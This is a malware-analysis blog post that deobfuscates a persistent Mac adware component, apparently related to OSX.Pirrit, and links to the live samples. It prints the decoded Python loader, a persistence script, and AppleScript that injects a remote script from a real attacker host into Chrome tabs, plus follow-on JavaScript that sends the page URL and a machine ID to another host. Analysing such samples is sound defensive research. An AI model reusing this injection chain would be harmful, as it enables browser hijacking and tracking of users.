![]() |
![]() |
📝 👾 Want to play along?
I’ve uploaded the samples discussed in this post. Downloads them here (password: infect3d).
…please don’t infect yourself!
Chances are, if an Apple user tells you their Mac is infected, it’s likely adware. Over the years, Mac adware has become ever more prolific as hackers seeks to financially “benefit” from the popularity of Cupertino’s devices.
Adware, though generally viewed as simply an annoyance, can often remove remote adversaries complete control of an infected system.
One of the more prolific pieces of Mac adware is OSX.Pirrit
(also named VSearch
). Previously (in 2016), we talked about this annoying malcreation in a guest blog post, written by the security researcher Amit Serper. In this writeup, he discusses its propensity for displaying ads and popups, but also notes that OSX.Pirrit
will take “complete control of the machine while making it very hard for the user to remove it.”
Today, we’re going to dive into a persistent piece of Mac adware (likely a component of OSX.Pirrit
, as noted by a respected security researcher), which leverages various levels of obfuscation to hinder analysis. Although I am not aware of the adware’s initial infection vector, such adware generally ends up on users Macs, via shareware installers, or trojanized applications (i.e. Adobe Flash installers), distributed by a malicious website.
This adware (likely a new component of OSX.Pirrit
), was brought to my attention by Paul Taykalo, of MacPaw. Thanks Paul! 🙏
MacPaw (who creates apps such as ‘CleanMyMac X’), is a “Friend of Objective-See”. Together, we’ve been collaborating to improve Mac adware and malware detections.
As this persistent adware component was originally undetected (by all 56 engines on VirusTotal), I decided to tear it apart, sharing the process in this blog post.
So, let’s dive in!
As noted, the file (VtZkT
) was originally undetected by AV engines (VirusTotal link):
This isn’t too surprising, as adware authors will often create (new) variants specifically to avoid detection by traditional AV products.
After triggering a rescan of the file, now 10 of 57 engines flag the file as malicious. However, they simply identify it as AdWare.OSX.Agent.b
Once we download the file (VtZkT
), we can run the file
command to identify its type:
$ file /Users/patrick/Downloads/VtZkT /Users/patrick/Downloads/VtZkT: python 2.7 byte-compiled
Looks like it’s python, albeit, compiled (meaning it’s been converted into python byte-code):
$ hexdump -C VtZkT 00000000 03 f3 0d 0a 97 93 55 5b 63 00 00 00 00 00 00 00 |......U[c.......| 00000010 00 03 00 00 00 40 00 00 00 73 36 00 00 00 64 00 |.....@...s6...d.| 00000020 00 64 01 00 6c 00 00 5a 00 00 64 00 00 64 01 00 |.d..l..Z..d..d..| 00000030 6c 01 00 5a 01 00 65 00 00 6a 02 00 65 01 00 6a |l..Z..e..j..e..j| 00000040 03 00 64 02 00 83 01 00 83 01 00 64 01 00 04 55 |..d........d...U| 00000050 64 01 00 53 28 03 00 00 00 69 ff ff ff ff 4e 73 |d..S(....i....Ns| 00000060 d8 08 00 00 65 4a 79 64 56 2b 6c 54 49 6a 6b 55 |....eJydV+lTIjkU| 00000070 2f 38 35 66 51 56 47 31 53 33 71 4c 61 52 78 6e |/85fQVG1S3qLaRxn| 00000080 6e 42 6d 6e 4e 6c 73 4f 6c 2b 41 67 49 71 43 67 |nBmnNlsOl+AgIqCg|
Luckily online resources such as python-decompiler.com can transform (decompile) such binaries back into python source code. This greatly simplifies analysis!
$ less VtZkT.decompiled: # Python bytecode 2.7 (62211) # Embedded file name: c.py # Compiled at: 2018-07-23 08:36:39 import zlib, base64 exec zlib.decompress(base64.b64decode('eJydV+lTIjkU/85fQVG1S3q...cvxvOqHs='))
Though we now have python source code (vs. compiled binary python byte-code), the code is clearly still obfuscated. Specifically it’s base64 encoded, and zlib compressed. This of course is to hinder AV detections, and to some extent slightly complicate analysis.
The easiest way to de-obfuscate the code, is simply to covert the exec
statement to a print
then execute it in a Python shell:
$ python
>>> import zlib, base64
>>> print zlib.decompress(base64.b64decode('eJydV+lTIjkU/85fQVG1S3qLaRxnnBmn...2rTcvxvOqHs='))
import time
Hbo=globals
HbM=None
HbJ=True
Hbq=open
HBK=platform.mac_ver
import urllib2
HbB=urllib2.Request
HbT=urllib2.urlopen
HBj.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC')
import objc
HbN=objc.loadBundleFunctions
from subprocess import Popen,PIPE
from Foundation import NSBundle
Hbw=NSBundle.bundleWithIdentifier_
def HBh():
HBb=Hbw('com.apple.framework.IOKit')
HBT=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),]
HbN(HBb,Hbo(),HBT)
def HBs():
return HBx("IOPlatformUUID")
def HBA(ss):
pass
if HbJ:
f=Hbq(HBI("L3RtcC9jbHB5LmxvZw=="),"a")
f.write("[{}] {}\n".format(HBV(),ss))
f.close()
...
def HBt(HBD,str_to_xor):
return ''.join([Hby(Hba(c)^Hba(HBD.qvWzj[ndx%HbL(HBD.qvWzj)]))for ndx,c in Hbd(HbS(str_to_xor))])
if __name__=="__main__":
HBv=HBP()
HBv.HBp()
While the code is now decoded and decompressed, it’s clearly still somewhat obfuscated. The first step is to manually decode the embedded base64-encoded strings, such as "L3RtcC9jbHB5LmxvZw=="
>>> base64.b64decode("L3RtcC9jbHB5LmxvZw==")
'/tmp/clpy.log'
Other decoded strings include:
#HOME
“SE9NRQ==”
#/var/root
“L3Zhci9yb290”
#Library/SavedDataFiles
“TGlicmFyeS9TYXZlZERhdGFGaWxlcw==”
#Library/MacConfigData
“TGlicmFyeS9NYWNDb25maWdEYXRh”
#/tmp/ix.sh
“L3RtcC9peC5zaA==”
Following this, we can manually replace various obfuscated variables and functions. For example:
HbB=urllib2.Request
HbT=urllib2.urlopen
HBX=HbB(HBr)
HBU=HbT(HBX)
HBN=HBU.read()
…can be re-written as:
request = urllib2.Request(HBr)
response = urllib2.urlopen(request)
content = response.read()
Clearly, simpler to read and understand!
Unfortunately, an important detail is missing: what is the URL (server) the adware is making the request to? More specifically, what is the value passed to the urllib2.Request
function?
In the obfuscated code, this URL is held within the HBr
variable. This variable is set in the following manner: HBr="{}{}&mvr={}".format(jUzur,HBs(),HBK()[0])
. Let’s dig in a bit more to find out what the value is (as it would be nice to know what URL the adware is communicating with!). Below is the relevant code:
#macOS version
HBK=platform.mac_ver
#platform UUID
def HBs():
return HBx("IOPlatformUUID")
#encoded key: `dat`
HBf=HBI("ZGF0")
#build full path
HBy=HBD.HBt("{}/{}".format(HBD.HBt(HBD.EPRuN),HBf))
#encoded key: `up`
HBD.fJVAs=HBI("dXA=")
#python object persistence
HbX=shelve.DbfilenameShelf
#open python object file
# store in `XmNBv` class variable
HBD.XmNBv=HbX(HBD.HBt(HBy))
#invoke the `HBn` passing in
HBD.HBn(HBD.XmNBv[HBD.fJVAs].strip())
#create url
# value from object store + platform UUID + macOS version
def HBn(HBD,jUzur):
HBr="{}{}&mvr={}".format(jUzur,HBs(),HBK()[0])
In short, the URL request contains the platform UUID, and the victim’s macOS version. The URL, appears to be extracted from a file via the shelve.DbfilenameShelf
method. What’s is this file? The easiest way, is simply to add a print
statement to python code: print HBD.HBt(HBy)
When executed, (in a virtual machine), this spits out the decoded file path: /Users/user/Library/SavedDataFiles/dat
.
Unfortunately the SavedDataFiles
directory was not recovered, and thus the dat
file was not available for analysis :( Thus the URL (currently) remains a mystery.
However, Paul was able to dig up a closely related sample. Though this second sample did not contain the urllib2
method calls, it was far less obfuscated, and the external files it referenced, were recovered as well. Thus our analysis can continue with the sample.
This second sample was found within a folder named search.amp
and contained the following files:
5mLen
6bLJC
CqfeP
The CqfeP
file is a simple bash script that is (likely) persisted as a launch item to ensure the adware is automatically started each time the user logs into their Mac.
$ cat CqfeP #!/usr/bin/env bash cd /Users//Library/search.amp && python 5mLen f=6bLJC
After changing into the search.amp
directory (via the cd
command), the script executes the 5mLen
file (via python), passing in the 6bLJC
file via the f
parameter.
We can confirm that the 5mLen
file is indeed a python script, via the aforementioned file
command:
$ file /Users/patrick/Downloads/5mLen /Users/patrick/Downloads/search.amp/5mLen: python 2.7 byte-compiled
Recall the sample we initially investigated, VtZkT, was also a python 2.7 byte-compiled binary.
After decompiling the 5mLen
via python-decompiler.com, a representation of the python source is recovered:
$ less 5mLen.decompiled: # Python bytecode 2.7 (62211) # Embedded file name: r.py # Compiled at: 2018-07-18 14:41:28 import zlib, base64 exec zlib.decompress(base64.b64decode('eJydVW1z2jgQ/s6vYDyTsd3...SeC7f1H74d1Rw='))
…again practically identical to the VtZkT
sample.
Decoding and decompressing the eJydVW1z2jgQ/s6vYDyTsd3...SeC7f1H74d1Rw=
chunk reveals the python, that again, shares a ton of similarities with the VtZkT
file:
$ python
>>> import zlib, base64
>>> print zlib.decompress(base64.b64decode(eJydVW1z2jgQ/s6vYDyTsd3...SeC7f1H74d1Rw=))
from subprocess import Popen,PIPE
wvc=len
wvH=enumerate
import base64
wvF=base64.b64decode
import time
wvu=time.sleep
import objc
wvC=objc.loadBundleFunctions
from Foundation import NSBundle
wvt=NSBundle.bundleWithIdentifier_
...
However a closer look at the decoded python code reveals some intriguing variable names and values (that in this sample, apparently remain unobfuscated):
class wvn:
def __init__(wvd,wvB):
wvd.wvU()
wvd.B64_FILE='ij1.b64'
wvd.B64_ENC_FILE='ij1.b64.enc'
wvd.XOR_KEY="1bm5pbmcKc"
wvd.PID_FLAG="493024ui5o"
wvd.PLAIN_TEXT_SCRIPT=''
wvd.SLEEP_INTERVAL=60
wvd.URL_INJECT="https://1049434604.rsc.cdn77.org/ij1.min.js"
wvd.MID=wvd.wvK(wvd.wvj())
def wvR(wvd):
if wvc(wvd._args)>0:
if wvd._args[0]=='enc99':
pass
elif wvd._args[0].startswith('f='):
try:
wvd.B64_ENC_FILE=wvd._args[0].split('=')[1]
except:
pass
def wvY(wvd):
with wvS(wvd.B64_ENC_FILE)as f:
wvd.PLAIN_TEXT_SCRIPT=f.read().strip()
wvd.PLAIN_TEXT_SCRIPT=wvF(wvd.wvq(wvd.PLAIN_TEXT_SCRIPT))
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("pid_REPLACE",wvd.PID_FLAG)
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("script_to_inject_REPLACE",wvd.URL_INJECT)
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("MID_REPLACE",wvd.MID)
def wvI(wvd):
p=Popen(['osascript'],stdin=PIPE,stdout=PIPE,stderr=PIPE)
wvi,wvP=p.communicate(wvd.PLAIN_TEXT_SCRIPT)
In the wvn
class __init__
method, we see references to various variables of interest such as base64 encoded file (ij1.b64
), and xor key (1bm5pbmcKc
) and an injection URL (https://1049434604.rsc.cdn77.org/ij1.min.js
). In the wvR
method, the code checks if the script was invoked with the f=
commandline option. If so, it set’s the B64_ENC_FILE
variable, to the specified file. Recall, the script was persistently invoked with the following: python 5mLen f=6bLJC
. Thus, when executed B64_ENC_FILE
will be set to 6bLJC
.
Taking a peak at the 6bLJC
reveals it’s encoded, or possibly encrypted (xor):
$ hexdump -C search.amp/6bLJC 00000000 6b 50 15 43 29 0f 2b 10 02 25 08 10 37 62 26 15 |kP.C).+..%..7b&.| 00000010 35 50 01 52 53 0f 58 45 12 0f 0e 28 28 51 67 52 |5P.RS.XE...((QgR| 00000020 24 73 49 10 37 34 1d 14 69 51 27 04 12 0f 58 13 |$sI.74..iQ'...X.| 00000030 29 0e 52 05 09 72 48 05 24 09 0e 0a 72 05 1d 4c |).R..rH.$...r..L| ... 00000630 39 25 01 19 13 53 7f 0d 0e 58 49 16 37 35 72 1a |9%...S...XI.75r.| 00000640 55 35 58 40 11 35 58 0d 08 04 0c 5f |U5X@.5X...._|
Though we could manually decode it (as we have the xor key, 1bm5pbmcKc
), it’s simpler to insert a print statement into the code immediately after the logic that decodes the contents of the file. Specifically at the end of the wvY
method:
def wvY(wvd):
with wvS(wvd.B64_ENC_FILE)as f:
wvd.PLAIN_TEXT_SCRIPT=f.read().strip()
wvd.PLAIN_TEXT_SCRIPT=wvF(wvd.wvq(wvd.PLAIN_TEXT_SCRIPT))
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("pid_REPLACE",wvd.PID_FLAG)
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("script_to_inject_REPLACE",wvd.URL_INJECT)
wvd.PLAIN_TEXT_SCRIPT=wvd.PLAIN_TEXT_SCRIPT.replace("MID_REPLACE",wvd.MID)
#patrick:
# print out (now) decoded script file
print(wvd.PLAIN_TEXT_SCRIPT)
Executing the modified python code (in a VM!), and passing in the 6bLJC
file via f=
, will now print out the contents of the decoded 6bLJC
file:
$ python 5mLen f=6bLJC global _keep_running set _keep_running to "1" repeat until _keep_running = "0" «event XFdrIjct» {} end repeat on «event XFdrIjct» {} delay 0.5 try if is_Chrome_running() then tell application "Google Chrome" to tell active tab of window 1 set sourceHtml to execute javascript "document.getElementsByTagName('head')[0].innerHTML" if sourceHtml does not contain "493024ui5o" then tell application "Google Chrome" to execute front window's active tab javascript "var pidDiv = document.createElement('div'); pidDiv.id = \"493024ui5o\"; pidDiv.style = \"display:none\"; pidDiv.innerHTML = \"bbdd05eed40561ed1dd3daddfba7e1dd\"; document.getElementsByTagName('head')[0].appendChild(pidDiv);" tell application "Google Chrome" to execute front window's active tab javascript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"https://1049434604.rsc.cdn77.org/ij1.min.js\"; document.getElementsByTagName('head')[0].appendChild(js_script);" end if end tell else set _keep_running to "0" end if end try end «event XFdrIjct» on is_Chrome_running() tell application "System Events" to (name of processes) contains "Google Chrome" end is_Chrome_running
Ahh AppleScript! Perusing this decoded script reveals it performs the following actions:
HTML
code of the page in the active tabHTML
does not contain 493024ui5o
injects and executes two pieces of JavaScript:
var pidDiv = document.createElement('div');
pidDiv.id = "493024ui5o";
pidDiv.style = "display:none";
pidDiv.innerHTML = "bbdd05eed40561ed1dd3daddfba7e1dd";
document.getElementsByTagName('head')[0].appendChild(pidDiv);
var js_script = document.createElement('script');
js_script.type = "text/javascript";
js_script.src = "https://1049434604.rsc.cdn77.org/ij1.min.js";
document.getElementsByTagName('head')[0].appendChild(js_script);
Note that the URL https://1049434604.rsc.cdn77.org/ij1.min.js
matches the hard-coded value of the wvd.URL_INJECT
variable (in the python code).
A scan of this (now defunct) URL, via urlscan.io reveals the following:
var mid = document.getElementById("493024ui5o").innerHTML;
var js_script = document.createElement("script");
js_script.type = "text/javascript";
js_script.src = "//ww1.ridiwo.space/oj/ij1?dom=" + window.location.href + "&mid=" + mid;
document.getElementsByTagName("head")[0].appendChild(js_script);
…the injection of more JavaScript. Such injections and redirects are rather common in adware - which generally routes control flow thru multiple scripts, sites, and URLs to its final destination. Unfortunately manually attempting to ‘talk to’ the URL ww1.ridiwo.space
fails. (It does return a 200 OK
, however fails to return any content, such as JavaScript):
Unfortunately this means we cannot ascertain the ultimate goal of the adware. However, such adware generally just injects ads, or popups in user’s browser sessions in order to generate revenue for its authors.
Before we wrap up this blog, let’s return to the python code (5mLen
) to explore how the persistent component of the adware kicks off the AppleScript injection script (6bLJC
). Turns out the code that performs this action, resides in the wvI
method:
def wvI(wvd):
p=Popen(['osascript'],stdin=PIPE,stdout=PIPE,stderr=PIPE)
wvi,wvP=p.communicate(wvd.PLAIN_TEXT_SCRIPT)
Easy to see that adware executes the osascript
binary (a built-in macOS utility, used to execute AppleScript) via Python’s Popen
function.
Once the osascript
process has been launched the adware, it passes in the (now decoded) AppleScript (wvd.PLAIN_TEXT_SCRIPT
) via the communicate
method. This of course will cause the AppleScript to be executed, with a neat side-affect that the decoded script will remain off the file-system (i.e. only in memory).
In this blog post, we dug into a persistent piece of Mac adware. Though it was compiled into python byte-code, using online resources we were able to decompile it to (re)generate python source. Decoding and decompressing this source made analysis far simpler. Unfortunately, for the initial sample, externally referenced files were missing which prevented full analysis.
Luckily, a related sample was uncovered along with external files, such as a persistent bash script and a encoded input file (which was passed into the main adware component). Instrumentation of this second sample allowed us to ascertain it’s goal: the injection (via AppleScript) of JavaScript into Chrome pages:
Good news, on recent versions of macOS and Chrome this injection attack will be thwarted!
First, macOS Mojave now blocks AppleScript “inter-application interactions”, unless the user has manually approve or white-listed the application (that’s initiating the AppleScript interactions). Thus, when the adware attempts the injection via AppleScript, this will be blocked and a system alert will be displayed:
Google Chrome, by default, now also blocks such attacks.
error "Google Chrome got an error: Executing JavaScript through AppleScript is turned off. To turn it on, from the menu bar, go to View > Developer > Allow JavaScript from Apple Events. For more information: https://support.google.com/chrome/?p=applescript" number -128
Specifically, it will ignore JavaScript injections via AppleScipt, unless this has been manually allowed (via the Developer
menu option):
Kudos to both Apple and Google for continually improving the security posture of their products! 🙏 And yes, this is a perfect example why (from a security point of view), it’s always wise to keep your software up-to-date!
Love these blog posts & tools?
You can support them via my Patreon page!